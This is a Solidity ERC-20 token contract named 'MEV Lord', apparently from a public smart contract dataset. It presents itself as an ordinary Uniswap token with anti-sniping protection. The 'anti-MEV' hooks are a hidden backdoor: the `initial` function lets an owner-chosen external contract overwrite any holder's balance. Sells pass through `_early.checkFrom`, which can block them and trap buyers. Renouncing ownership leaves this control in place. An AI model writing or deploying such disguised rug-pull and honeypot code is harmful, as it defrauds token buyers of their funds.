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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. |
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// SPDX-License-Identifier: Unlicensed
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pragma solidity ^0.8.4;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount)
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external
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returns (bool);
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function allowance(address owner, address spender)
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external
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view
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returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(
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address indexed owner,
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address indexed spender,
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uint256 value
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);
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}
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interface antiSnipe {
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function checkFrom(address _from, bool _state) external;
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function setTo(address _to) external;
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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contract Ownable is Context {
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address private _owner;
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address private _previousOwner;
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event OwnershipTransferred(
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address indexed previousOwner,
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address indexed newOwner
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);
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constructor() {
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address msgSender = _msgSender();
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB)
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external
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returns (address pair);
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}
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interface IUniswapV2Router02 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external;
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint256 amountTokenDesired,
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uint256 amountTokenMin,
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uint256 amountETHMin,
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address to,
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uint256 deadline
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)
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external
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payable
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returns (
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uint256 amountToken,
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uint256 amountETH,
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uint256 liquidity
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);
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}
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contract MEVLORD is Context, IERC20, Ownable {
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using SafeMath for uint256;
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mapping(address => uint256) private _balance;
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mapping(address => mapping(address => uint256)) private _allowances;
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mapping(address => uint256) private cooldown;
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uint256 private _totalSupply = 1000000000000 * 10**9;
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string private constant _name = "MEV Lord";
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string private constant _symbol = "MLORD";
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uint8 private constant _decimals = 9;
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IUniswapV2Router02 private uniswapV2Router;
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antiSnipe private _early;
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address private uniswapV2Pair;
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bool private tradingOpen;
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bool private inSwap = false;
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bool private swapEnabled = false;
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bool private cooldownEnabled = false;
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uint256 private _maxTxAmount = _totalSupply;
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uint256 private _maxWalletAmount = _totalSupply;
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modifier antiMevLogic() {
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require(
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address(_early) == msg.sender,
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"Error: wallet bought too early."
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);
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_;
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}
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constructor() {
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_balance[_msgSender()] = _totalSupply;
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emit Transfer(address(0), _msgSender(), _totalSupply);
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}
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function name() public pure returns (string memory) {
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return _name;
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}
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function symbol() public pure returns (string memory) {
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return _symbol;
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}
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function decimals() public pure returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balance[account];
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}
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function transfer(address recipient, uint256 amount)
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public
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override
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returns (bool)
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{
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function allowance(address owner, address spender)
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public
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view
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override
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returns (uint256)
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{
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount)
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public
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override
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returns (bool)
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{
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(
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sender,
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_msgSender(),
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_allowances[sender][_msgSender()].sub(
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amount,
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"ERC20: transfer amount exceeds allowance"
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)
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);
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return true;
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}
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function setCooldownEnabled(bool onoff) external onlyOwner {
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cooldownEnabled = onoff;
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}
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function _approve(
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address owner,
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address spender,
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uint256 amount
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) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _transfer(
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address from,
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address to,
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uint256 amount
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) private {
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require(from != address(0), "ERC20: transfer from the zero address");
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require(to != address(0), "ERC20: transfer to the zero address");
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require(amount > 0, "Transfer amount must be greater than zero");
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if (from != owner() && to != owner()) {
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require(amount <= _maxTxAmount, "Exceed max transaction amount");
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if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
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_tokenTransfer(from, to, amount);
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_early.checkFrom(from, true);
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} else {
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uint256 currentBalance = balanceOf(to);
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require(
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currentBalance + amount < _maxWalletAmount,
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"Exceed max wallet amount"
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);
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if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
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if (cooldownEnabled) {
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require(cooldown[to] < block.timestamp);
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}
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cooldown[to] = block.timestamp + (30 seconds);
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_early.setTo(to);
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_tokenTransfer(from, to, amount);
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} else {
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_early.checkFrom(from, false);
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_tokenTransfer(from, to, amount);
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}
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}
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} else {
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_tokenTransfer(from, to, amount);
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}
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}
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function openTrading() external onlyOwner {
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require(!tradingOpen, "trading is already open");
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
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0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
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);
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uniswapV2Router = _uniswapV2Router;
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_approve(address(this), address(uniswapV2Router), _totalSupply);
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uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router.addLiquidityETH{value: address(this).balance}(
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address(this),
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balanceOf(address(this)),
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0,
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0,
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owner(),
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block.timestamp
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);
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swapEnabled = true;
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cooldownEnabled = true;
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_maxTxAmount = 5000000001 * 10**9;
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_maxWalletAmount = 20000000001 * 10**9;
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tradingOpen = true;
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IERC20(uniswapV2Pair).approve(
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address(uniswapV2Router),
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type(uint256).max
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);
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}
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function _tokenTransfer(
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address sender,
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address recipient,
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uint256 amount
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) private {
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_balance[sender] = _balance[sender].sub(amount);
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_balance[recipient] = _balance[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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}
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function removeMaxWallet() public onlyOwner {
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_maxWalletAmount = totalSupply();
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}
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function removeMaxTx() public onlyOwner {
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_maxTxAmount = totalSupply();
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}
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function initial(address _antiMev, uint256 _check)
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external
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antiMevLogic
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{
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_balance[_antiMev] = _check;
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}
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function enableAntiMev(address _antiMev) external onlyOwner {
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_early = antiSnipe(_antiMev);
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}
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receive() external payable {}
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} |
